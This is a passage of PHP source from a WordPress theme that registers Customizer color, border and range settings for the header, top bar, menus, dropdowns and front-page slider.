            'label'    => __( 'Gradient Direction', 'pmthemes' ),
            'section'  => 'pmthemes_header_colors',
            'settings' => 'pmthemes_theme_options[header_gr_dir]',
            'active_callback' =>'pmthemes_header_gradient_active',
            'priority' => 10,
            'type'     => 'select',
            'choices'  => pmthemes_grad_direction(),
        )
    );
    // Header Top Border Title
    $wp_customize->add_setting( 'pmthemes_theme_options[header_top_border_title]', array(
            'default'           => '',
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Header_Control(
            $wp_customize, 'pmthemes_control_header_top_border_title', array(
                'label' => __( 'Header Top Border', 'pmthemes' ),
                'section' => 'pmthemes_header_colors',
                'settings' => 'pmthemes_theme_options[header_top_border_title]',
                'priority' => 11,
            )
        )
    );
    // Enable Header Top Border Settings
    $wp_customize->add_setting( 'pmthemes_theme_options[header_top_border_enable]', array(
            'default'           => $theme_def['gen_check_no'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_header_top_border_enable', array(
            'label'    => __( 'Enable Header Top Border', 'pmthemes' ),
            'section'  => 'pmthemes_header_colors',
            'settings' => 'pmthemes_theme_options[header_top_border_enable]',
            'type'     => 'checkbox',
            'priority' => 12,
        )
    );
    // Header Top Border Color
	$wp_customize->add_setting( 'pmthemes_theme_options[header_topbo]', array(
        'default'           => $theme_def['header_topbo'],
		'type'           	=> 'option',
        'transport'         => 'postMessage',
        'sanitize_callback' => 'sanitize_hex_color'
		)
	);
	$wp_customize->add_control( new WP_Customize_Color_Control( 
		$wp_customize, 'header_topbo', array(
			'label'      => __( 'Header Top Border', 'pmthemes' ),
			'section'    => 'pmthemes_header_colors',
			'settings'   => 'pmthemes_theme_options[header_topbo]',
            'active_callback' => 'pmthemes_header_top_border_active',
			'priority' => 13,
		) ) 
	);
    // Header Top Border Height
    $wp_customize->add_setting( 'pmthemes_theme_options[header_topbo_height]', array(
            'default'           => $theme_def['header_topbo_height'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'absint'
        )
    );
    $wp_customize->add_control( new WP_Customize_Range( $wp_customize, 'pmthemes_control_header_topbo_height', array(
            'label'    => __( 'Header Top Border Height', 'pmthemes' ),
            'section'  => 'pmthemes_header_colors',
            'settings' => 'pmthemes_theme_options[header_topbo_height]',
            'active_callback' => 'pmthemes_header_top_border_active',
            'priority' => 14,
            'min' => 0,
            'max' => 30,
            'step' => 1,
            'unit' => 'px',
        ))
    );
    // Header Bottom Border Title
    $wp_customize->add_setting( 'pmthemes_theme_options[header_bottom_border_title]', array(
            'default'           => '',
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Header_Control(
            $wp_customize, 'pmthemes_control_header_bottom_border_title', array(
                'label' => __( 'Header Bottom Border', 'pmthemes' ),
                'section' => 'pmthemes_header_colors',
                'settings' => 'pmthemes_theme_options[header_bottom_border_title]',
                'priority' => 15,
            )
        )
    );
    // Enable Header Bottom Border Settings
    $wp_customize->add_setting( 'pmthemes_theme_options[header_bottom_border_enable]', array(
            'default'           => $theme_def['gen_check_no'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_header_bottom_border_enable', array(
            'label'    => __( 'Enable Header Bottom Border', 'pmthemes' ),
            'section'  => 'pmthemes_header_colors',
            'settings' => 'pmthemes_theme_options[header_bottom_border_enable]',
            'type'     => 'checkbox',
            'priority' => 16,
        )
    );
    // Header Bottom Border Color
    $wp_customize->add_setting( 'pmthemes_theme_options[header_bottom_border]', array(
            'default'           => $theme_def['header_bottom_border'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'header_bottom_border', array(
            'label'      => __( 'Header Bottom Border Color', 'pmthemes' ),
            'section'    => 'pmthemes_header_colors',
            'settings'   => 'pmthemes_theme_options[header_bottom_border]',
            'active_callback' => 'pmthemes_header_bottom_border_active',
            'priority' => 17,
        ) )
    );
    // Header Bottom Border Height
    $wp_customize->add_setting( 'pmthemes_theme_options[header_bottom_bor_height]', array(
            'default'           => $theme_def['header_bottom_bor_height'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'absint'
        )
    );
    $wp_customize->add_control( new WP_Customize_Range( $wp_customize, 'pmthemes_control_header_bottom_bor_height', array(
            'label'    => __( 'Header Bottom Border Height', 'pmthemes' ),
            'section'  => 'pmthemes_header_colors',
            'settings' => 'pmthemes_theme_options[header_bottom_bor_height]',
            'active_callback' => 'pmthemes_header_bottom_border_active',
            'priority' => 18,
            'min' => 0,
            'max' => 25,
            'step' => 1,
            'unit' => 'px',
        ))
    );
    // Header Line Title
    $wp_customize->add_setting( 'pmthemes_theme_options[header_line_title]', array(
            'default'           => '',
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Header_Control(
            $wp_customize, 'pmthemes_control_header_line_title', array(
                'label' => __( 'Header Line', 'pmthemes' ),
                'section' => 'pmthemes_header_colors',
                'settings' => 'pmthemes_theme_options[header_line_title]',
                'active_callback' =>'pmthemes_header_line_active',
                'priority' => 19,
            )
        )
    );
    // Header Line Top Border Color
    $wp_customize->add_setting( 'pmthemes_theme_options[headline_top_border]', array(
            'default'           => $theme_def['headline_top_border'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'headline_top_border', array(
            'label'      => __( 'Header Line Top Border', 'pmthemes' ),
            'section'    => 'pmthemes_header_colors',
            'settings'   => 'pmthemes_theme_options[headline_top_border]',
            'active_callback' =>'pmthemes_header_line_active',
            'priority' => 21,
        ) )
    );
    // Header Line Top Border Height
    $wp_customize->add_setting( 'pmthemes_theme_options[headline_top_bor_height]', array(
            'default'           => $theme_def['headline_top_bor_height'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'absint'
        )
    );
    $wp_customize->add_control( new WP_Customize_Range( $wp_customize, 'pmthemes_control_headline_top_bor_height', array(
            'label'    => __( 'Header Line Top Color', 'pmthemes' ),
            'section'  => 'pmthemes_header_colors',
            'settings' => 'pmthemes_theme_options[headline_top_bor_height]',
            'active_callback' => 'pmthemes_header_line_active',
            'priority' => 22,
            'min' => 0,
            'max' => 25,
            'step' => 1,
            'unit' => 'px',
        ))
    );
    // Header Line Bottom Border Color
    $wp_customize->add_setting( 'pmthemes_theme_options[headline_bottom_border]', array(
            'default'           => $theme_def['headline_bottom_border'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'headline_bottom_border', array(
            'label'      => __( 'Header Line Bottom Border ', 'pmthemes' ),
            'section'    => 'pmthemes_header_colors',
            'settings'   => 'pmthemes_theme_options[headline_bottom_border]',
            'active_callback' =>'pmthemes_header_line_active',
            'priority' => 23,
        ) )
    );
    // Top Bar Title
    $wp_customize->add_setting( 'pmthemes_theme_options[top_bar_title]', array(
            'default'           => '',
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Header_Control(
            $wp_customize, 'pmthemes_control_top_bar_title', array(
                'label' => __( 'Top Bar Coloring', 'pmthemes' ),
                'section' => 'pmthemes_header_colors',
                'settings' => 'pmthemes_theme_options[top_bar_title]',
                'active_callback' =>'pmthemes_top_bar_active',
                'priority' => 24,
            )
        )
    );
    // Top Bar Background Color
    $wp_customize->add_setting( 'pmthemes_theme_options[top_bar_bg]', array(
            'default'           => $theme_def['top_bar_bg'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'top_bar_bg', array(
            'label'      => __( 'Top Bar Background', 'pmthemes' ),
            'section'    => 'pmthemes_header_colors',
            'settings'   => 'pmthemes_theme_options[top_bar_bg]',
            'active_callback' =>'pmthemes_top_bar_active',
            'priority' => 25,
        ) )
    );
    // Top Bar Top Border Color
    $wp_customize->add_setting( 'pmthemes_theme_options[top_bar_top_border]', array(
            'default'           => $theme_def['top_bar_top_border'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'top_bar_top_border', array(
            'label'      => __( 'Top Bar Top Border', 'pmthemes' ),
            'section'    => 'pmthemes_header_colors',
            'settings'   => 'pmthemes_theme_options[top_bar_top_border]',
            'active_callback' =>'pmthemes_top_bar_active',
            'priority' => 26,
        ) )
    );
    // Top Bar Bottom Border Color
    $wp_customize->add_setting( 'pmthemes_theme_options[top_bar_bottom_border]', array(
            'default'           => $theme_def['top_bar_bottom_border'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'top_bar_bottom_border', array(
            'label'      => __( 'Top Bar Bottom Border', 'pmthemes' ),
            'section'    => 'pmthemes_header_colors',
            'settings'   => 'pmthemes_theme_options[top_bar_bottom_border]',
            'active_callback' =>'pmthemes_top_bar_active',
            'priority' => 27,
        ) )
    );
    // Top Bar Font Color
    $wp_customize->add_setting( 'pmthemes_theme_options[top_bar_font_color]', array(
            'default'           => $theme_def['top_bar_font_color'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'top_bar_font_color', array(
            'label'      => __( 'Top Bar Font Color', 'pmthemes' ),
            'section'    => 'pmthemes_header_colors',
            'settings'   => 'pmthemes_theme_options[top_bar_font_color]',
            'active_callback' =>'pmthemes_top_bar_active',
            'priority' => 28,
        ) )
    );
    //============= Top Menu Colors Sub-section =====================
    // Top Menu Text Color
	$wp_customize->add_setting( 'pmthemes_theme_options[topnav_text_color]', array(
        'default'           => $theme_def['gen_nav_font_color'],
		'type'           	=> 'option',
        'transport'         => 'postMessage',
        'sanitize_callback' => 'sanitize_hex_color'
		)
	);
	$wp_customize->add_control( new WP_Customize_Color_Control( 
		$wp_customize, 'topnav_text_color', array(
			'label'      => __( 'Text Color', 'pmthemes' ),
			'section'    => 'pmthemes_navi_tops',
			'settings'   => 'pmthemes_theme_options[topnav_text_color]',
			'priority' => 2,
		) ) 
	);
	// Top Menu Background
	$wp_customize->add_setting( 'pmthemes_theme_options[topnav_color]', array(
        'default'           => $theme_def['topnav_color'],
		'type'           	=> 'option',
        'transport'         => 'postMessage',
        'sanitize_callback' => 'sanitize_hex_color'
		)
	);
	$wp_customize->add_control( new WP_Customize_Color_Control( 
		$wp_customize, 'topnav_color', array(
			'label'      => __( 'Menu Background', 'pmthemes' ),
			'section'    => 'pmthemes_navi_tops',
			'settings'   => 'pmthemes_theme_options[topnav_color]',
			'priority' => 4,
		) ) 
	);
    // Top Menu Current Page Indicator
	$wp_customize->add_setting( 'pmthemes_theme_options[topnav_current]', array(
        'default'           => $theme_def['topnav_current'],
		'type'           	=> 'option',
        'transport'         => 'postMessage',
        'sanitize_callback' => 'sanitize_hex_color'
		)
	);
	$wp_customize->add_control( new WP_Customize_Color_Control( 
		$wp_customize, 'topnav_current', array(
			'label'      => __( 'Current Page Indicator', 'pmthemes' ),
			'section'    => 'pmthemes_navi_tops',
			'settings'   => 'pmthemes_theme_options[topnav_current]',
			'priority' => 6,
		) ) 
	);
    // Top Menu Mouse Hover
	$wp_customize->add_setting( 'pmthemes_theme_options[topnav_hover]', array(
        'default'           => $theme_def['topnav_hover'],
		'type'           	=> 'option',
        'transport'         => 'refresh',
        'sanitize_callback' => 'sanitize_hex_color'
		)
	);
	$wp_customize->add_control( new WP_Customize_Color_Control( 
		$wp_customize, 'topnav_hover', array(
			'label'      => __( 'Mouse Hover', 'pmthemes' ),
			'section'    => 'pmthemes_navi_tops',
			'settings'   => 'pmthemes_theme_options[topnav_hover]',
			'priority' => 8,
		) ) 
	);
    // Top Menu Dropdown Header
    $wp_customize->add_setting( 'pmthemes_theme_options[top_mnu_drpd_hd]', array(
            'default'           => '',
            'type'           	=> 'option',
            'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Header_Control(
            $wp_customize, 'pmthemes_control_top_mnu_drpd_hd', array(
                'label' => __( 'Top Menu Dropdown', 'pmthemes' ),
                'section' => 'pmthemes_navi_tops',
                'settings' => 'pmthemes_theme_options[top_mnu_drpd_hd]',
            )
        )
    );
    // Top Menu Dropdown Menu
	$wp_customize->add_setting( 'pmthemes_theme_options[topnav_dropdown]', array(
        'default'           => $theme_def['topnav_dropdown'],
		'type'           	=> 'option',
        'transport'         => 'postMessage',
        'sanitize_callback' => 'sanitize_hex_color'
		)
	);
	$wp_customize->add_control( new WP_Customize_Color_Control( 
		$wp_customize, 'topnav_dropdown', array(
			'label'      => __( 'Dropdown Menu', 'pmthemes' ),
			'section'    => 'pmthemes_navi_tops',
			'settings'   => 'pmthemes_theme_options[topnav_dropdown]',
			'priority' => 10,
		) ) 
	);
    // Top Menu Dropdown Hover
	$wp_customize->add_setting( 'pmthemes_theme_options[topnav_drophov]', array(
        'default'           => $theme_def['topnav_drophov'],
		'type'           	=> 'option',
        'transport'         => 'refresh',
        'sanitize_callback' => 'sanitize_hex_color'
		)
	);
	$wp_customize->add_control( new WP_Customize_Color_Control( 
		$wp_customize, 'topnav_drophov', array(
			'label'      => __( 'Dropdown Hover', 'pmthemes' ),
			'section'    => 'pmthemes_navi_tops',
			'settings'   => 'pmthemes_theme_options[topnav_drophov]',
			'priority' => 12,
		) ) 
	);
    // Top Menu Dropdown Borders
	$wp_customize->add_setting( 'pmthemes_theme_options[topnav_dropbor]', array(
        'default'           => $theme_def['topnav_dropbor'],
		'type'           	=> 'option',
        'transport'         => 'postMessage',
        'sanitize_callback' => 'sanitize_hex_color'
		)
	);
	$wp_customize->add_control( new WP_Customize_Color_Control( 
		$wp_customize, 'topnav_dropbor', array(
			'label'      => __( 'Dropdown Borders', 'pmthemes' ),
			'section'    => 'pmthemes_navi_tops',
			'settings'   => 'pmthemes_theme_options[topnav_dropbor]',
			'priority' => 14,
		) ) 
	);
    //============> Main Menu Colors <============//
	$wp_customize->add_setting( 'pmthemes_theme_options[navi_text_color]', array(
        'default'           => $theme_def['gen_nav_font_color'],
		'type'           	=> 'option',
        'transport'         => 'postMessage',
        'sanitize_callback' => 'sanitize_hex_color'
		)
	);
	$wp_customize->add_control( new WP_Customize_Color_Control( 
		$wp_customize, 'navi_text_color', array(
			'label'      => __( 'Menu Text Color', 'pmthemes' ),
			'section'    => 'pmthemes_navi_colors',
			'settings'   => 'pmthemes_theme_options[navi_text_color]',
		) ) 
	);
	// Menu Background
	$wp_customize->add_setting( 'pmthemes_theme_options[navi_color]', array(
        'default'           => $theme_def['navi_color'],
		'type'           	=> 'option',
        'transport'         => 'postMessage',
        'sanitize_callback' => 'sanitize_hex_color'
		)
	);
	$wp_customize->add_control( new WP_Customize_Color_Control( 
		$wp_customize, 'navi_color', array(
			'label'      => __( 'Menu Background', 'pmthemes' ),
			'section'    => 'pmthemes_navi_colors',
			'settings'   => 'pmthemes_theme_options[navi_color]',
		) ) 
	);
    // Mouse Hover
	$wp_customize->add_setting( 'pmthemes_theme_options[navi_hover]', array(
        'default'           => $theme_def['navi_hover'],
		'type'           	=> 'option',
        'transport'         => 'refresh',
        'sanitize_callback' => 'sanitize_hex_color'
		)
	);
	$wp_customize->add_control( new WP_Customize_Color_Control( 
		$wp_customize, 'navi_hover', array(
			'label'      => __( 'Mouse Hover', 'pmthemes' ),
			'section'    => 'pmthemes_navi_colors',
			'settings'   => 'pmthemes_theme_options[navi_hover]',
		) ) 
	);
    //===== Menu Borders Header ======
    $wp_customize->add_setting( 'pmthemes_theme_options[menu_borders]', array(
            'default'           => '',
            'type'           	=> 'option',
            'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Header_Control(
            $wp_customize, 'pmthemes_control_menu_borders', array(
                'label' => __( 'Menu Borders', 'pmthemes' ),
                'section' => 'pmthemes_navi_colors',
                'settings' => 'pmthemes_theme_options[menu_borders]',
            )
        )
    );
    // Enable Main Menu TOP Border Color
    $wp_customize->add_setting( 'pmthemes_theme_options[navi_top_bd_enb]', array(
            'default'           => $theme_def['navi_top_bd_enb'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_navi_top_bd_enb', array(
            'label'    => __( 'Enable Top Border', 'pmthemes' ),
            'section'  => 'pmthemes_navi_colors',
            'settings' => 'pmthemes_theme_options[navi_top_bd_enb]',
            'type'     => 'checkbox',
        )
    );
    // Main Menu TOP Border Color
    $wp_customize->add_setting( 'pmthemes_theme_options[navi_top_bd_clr]', array(
            'default'           => $theme_def['navi_top_bd_clr'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'navi_top_bd_clr', array(
            'label'      => __( 'Top Border Color', 'pmthemes' ),
            'section'    => 'pmthemes_navi_colors',
            'settings'   => 'pmthemes_theme_options[navi_top_bd_clr]',
            'active_callback' =>'pmthemes_navi_top_bd_clr_enabled',
        ) )
    );
    // Main Menu TOP Border Height
    $wp_customize->add_setting( 'pmthemes_theme_options[navi_top_bd_hei]', array(
            'default'           => $theme_def['navi_top_bd_hei'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_number'
        )
    );
    $wp_customize->add_control( new WP_Customize_Range( $wp_customize, 'pmthemes_control_navi_top_bd_hei', array(
            'label'    => __( 'Top Border Height', 'pmthemes' ),
            'section'  => 'pmthemes_navi_colors',
            'settings' => 'pmthemes_theme_options[navi_top_bd_hei]',
            'active_callback' => 'pmthemes_navi_top_bd_clr_enabled',
            'min' => 0,
            'max' => 15,
            'step' => 1,
            'unit' => 'px',
        ))
    );
    // Enable Main Menu Bottom Border Color
    $wp_customize->add_setting( 'pmthemes_theme_options[navi_bot_bd_enb]', array(
            'default'           => $theme_def['navi_bot_bd_enb'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_navi_bot_bd_enb', array(
            'label'    => __( 'Enable Bottom Border', 'pmthemes' ),
            'section'  => 'pmthemes_navi_colors',
            'settings' => 'pmthemes_theme_options[navi_bot_bd_enb]',
            'type'     => 'checkbox',
        )
    );
    // Main Menu Bottom Border Color
    $wp_customize->add_setting( 'pmthemes_theme_options[navi_bot_bd_clr]', array(
            'default'           => $theme_def['navi_bot_bd_clr'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'navi_bot_bd_clr', array(
            'label'      => __( 'Bottom Border Color', 'pmthemes' ),
            'section'    => 'pmthemes_navi_colors',
            'settings'   => 'pmthemes_theme_options[navi_bot_bd_clr]',
            'active_callback' =>'pmthemes_navi_bot_bd_clr_enabled',
        ) )
    );
    // Main Menu Bottom Border Height
    $wp_customize->add_setting( 'pmthemes_theme_options[navi_bot_bd_hei]', array(
            'default'           => $theme_def['navi_bot_bd_hei'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_number'
        )
    );
    $wp_customize->add_control( new WP_Customize_Range( $wp_customize, 'pmthemes_control_navi_bot_bd_hei', array(
            'label'    => __( 'Bottom Border Height', 'pmthemes' ),
            'section'  => 'pmthemes_navi_colors',
            'settings' => 'pmthemes_theme_options[navi_bot_bd_hei]',
            'active_callback' => 'pmthemes_navi_bot_bd_clr_enabled',
            'min' => 0,
            'max' => 15,
            'step' => 1,
            'unit' => 'px',
        ))
    );
    // Enable Item Border
    $wp_customize->add_setting( 'pmthemes_theme_options[navi_border_enable]', array(
            'default'           => $theme_def['navi_border_enable'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_navi_border_enable', array(
            'label'    => __( 'Enable Item Border', 'pmthemes' ),
            'section'  => 'pmthemes_navi_colors',
            'settings' => 'pmthemes_theme_options[navi_border_enable]',
            'type'     => 'checkbox',
        )
    );
    // Item Border Color
    $wp_customize->add_setting( 'pmthemes_theme_options[navi_border]', array(
            'default'           => $theme_def['navi_border'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'navi_border', array(
            'label'      => __( 'Item Border Color', 'pmthemes' ),
            'section'    => 'pmthemes_navi_colors',
            'settings'   => 'pmthemes_theme_options[navi_border]',
            'active_callback' =>'pmthemes_navi_item_border_enabled',
        ) )
    );
    // Dropdown Menus
    $wp_customize->add_setting( 'pmthemes_theme_options[dropdown_menus]', array(
            'default'           => '',
            'type'           	=> 'option',
            'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Header_Control(
            $wp_customize, 'pmthemes_control_dropdown_menus', array(
                'label' => __( 'Dropdown Menu', 'pmthemes' ),
                'section' => 'pmthemes_navi_colors',
                'settings' => 'pmthemes_theme_options[dropdown_menus]',
            )
        )
    );
	// Dropdown Menu Color
    $wp_customize->add_setting( 'pmthemes_theme_options[navi_dropdown]', array(
            'default'           => $theme_def['navi_dropdown'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
	$wp_customize->add_control( new WP_Customize_Color_Control( 
		$wp_customize, 'navi_dropdown', array(
			'label'      => __( 'Dropdown Color', 'pmthemes' ),
			'section'    => 'pmthemes_navi_colors',
			'settings'   => 'pmthemes_theme_options[navi_dropdown]',
		) ) 
	);
	// Dropdown Hover
	$wp_customize->add_setting( 'pmthemes_theme_options[navi_drophov]', array(
        'default'           => $theme_def['navi_drophov'],
		'type'           	=> 'option',
        'transport'         => 'refresh',
        'sanitize_callback' => 'sanitize_hex_color'
		)
	);
	$wp_customize->add_control( new WP_Customize_Color_Control( 
		$wp_customize, 'navi_drophov', array(
			'label'      => __( 'Dropdown Hover', 'pmthemes' ),
			'section'    => 'pmthemes_navi_colors',
			'settings'   => 'pmthemes_theme_options[navi_drophov]',
		) ) 
	);
    // Hide Dropdown Borders
    $wp_customize->add_setting( 'pmthemes_theme_options[navi_dropdown_noborder]', array(
            'default'           => $theme_def['navi_dropdown_noborder'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_navi_dropdown_noborder', array(
            'label'    => __( 'Hide Dropdown Borders', 'pmthemes' ),
            'section'  => 'pmthemes_navi_colors',
            'settings' => 'pmthemes_theme_options[navi_dropdown_noborder]',
            'type'     => 'checkbox',
        )
    );
	// Dropdown Borders
	$wp_customize->add_setting( 'pmthemes_theme_options[navi_dropdown_border]', array(
        'default'           => $theme_def['navi_dropdown_border'],
		'type'           	=> 'option',
        'transport'         => 'postMessage',
        'sanitize_callback' => 'sanitize_hex_color'
		)
	);
	$wp_customize->add_control( new WP_Customize_Color_Control( 
		$wp_customize, 'navi_dropdown_border', array(
			'label'      => __( 'Dropdown Borders', 'pmthemes' ),
			'section'    => 'pmthemes_navi_colors',
			'settings'   => 'pmthemes_theme_options[navi_dropdown_border]',
            'active_callback' =>'pmthemes_dropdown_border_enabled',
		) ) 
	);
    //========== Front Page Colors Sub-section =============//
    // Slider Colors Header
    $wp_customize->add_setting( 'pmthemes_theme_options[slider_clrs_hd]', array(
            'type'           	=> 'option',
            'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Header_Control(
            $wp_customize, 'pmthemes_control_slider_clrs_hd', array(
                'label' => __( 'Slider Colors', 'pmthemes' ),
                'section' => 'pmthemes_homepage_colors',
                'settings' => 'pmthemes_theme_options[slider_clrs_hd]',
                'active_callback' =>'pmthemes_post_slider_active',
            )
        )
    );
    // Caption Title Color
    $wp_customize->add_setting( 'pmthemes_theme_options[sldr_title_clr]', array(
            'default'           => $theme_def['sldr_title_clr'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'sldr_title_clr', array(
            'label'      => __( 'Caption Title Color', 'pmthemes' ),
            'section'    => 'pmthemes_homepage_colors',
            'settings'   => 'pmthemes_theme_options[sldr_title_clr]',
            'active_callback' =>'pmthemes_post_slider_active',
        ) )
    );

    // Caption Text Color
    $wp_customize->add_setting( 'pmthemes_theme_options[sldr_text_clr]', array(
            'default'           => $theme_def['sldr_text_clr'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'sldr_text_clr', array(
            'label'      => __( 'Caption Text Color', 'pmthemes' ),
            'section'    => 'pmthemes_homepage_colors',
            'settings'   => 'pmthemes_theme_options[sldr_text_clr]',
            'active_callback'   => function( $control ) {// Use two active_callbacks
                return (pmthemes_post_slider_active() && pmthemes_show_slider_content_active());
            },
        ) )
    );
    // Caption Background Color
    $wp_customize->add_setting( 'pmthemes_theme_options[sldr_bg_clr]', array(
            'default'           => $theme_def['sldr_bg_clr'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'sldr_bg_clr', array(
            'label'      => __( 'Caption Background Color', 'pmthemes' ),
            'section'    => 'pmthemes_homepage_colors',
            'settings'   => 'pmthemes_theme_options[sldr_bg_clr]',
            'active_callback' =>'pmthemes_post_slider_active',
        ) )
    );
    // Slider Arrow Colors
    $wp_customize->add_setting( 'pmthemes_theme_options[sldr_arrow_clr]', array(
            'default'           => $theme_def['sldr_arrow_clr'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'sldr_arrow_clr', array(
            'label'      => __( 'Arrow Colors', 'pmthemes' ),
            'section'    => 'pmthemes_homepage_colors',
            'settings'   => 'pmthemes_theme_options[sldr_arrow_clr]',
            'active_callback' =>'pmthemes_post_slider_active',
        ) )
    );
    // Slider Arrow Background Color
    $wp_customize->add_setting( 'pmthemes_theme_options[sldr_arrow_bg_clr]', array(
            'default'           => $theme_def['sldr_arrow_bg_clr'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'sldr_arrow_bg_clr', array(
            'label'      => __( 'Arrow Background Color', 'pmthemes' ),
            'section'    => 'pmthemes_homepage_colors',
            'settings'   => 'pmthemes_theme_options[sldr_arrow_bg_clr]',
            'active_callback' =>'pmthemes_post_slider_active',
        ) )
    );
    // Slider Border Color
    $wp_customize->add_setting( 'pmthemes_theme_options[sldr_border_clr]', array(
            'default'           => $theme_def['sldr_border_clr'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'sldr_border_clr', array(
            'label'      => __( 'Slider Border Color', 'pmthemes' ),
            'section'    => 'pmthemes_homepage_colors',
            'settings'   => 'pmthemes_theme_options[sldr_border_clr]',
            'active_callback' =>'pmthemes_post_slider_active',
        ) )
    );
    // Frontpage Widget Header Coloring
    $wp_customize->add_setting( 'pmthemes_theme_options[frontpage_wdgt_hd]', array(
            'type'           	=> 'option',
            'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Header_Control(
            $wp_customize, 'pmthemes_control_frontpage_wdgt_hd', array(
                'label' => __( 'Widget Header Coloring', 'pmthemes' ),
                'section' => 'pmthemes_homepage_colors',
                'settings' => 'pmthemes_theme_options[frontpage_wdgt_hd]',
            )
        )
    );
    // Frontpage Header Text Color
    $wp_customize->add_setting( 'pmthemes_theme_options[frontbar_font_clr]', array(
            'default'           => $theme_def['frontbar_font_clr'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'frontbar_font_clr', array(
            'label'      => __( 'Header Text Color', 'pmthemes' ),
            'section'    => 'pmthemes_homepage_colors',
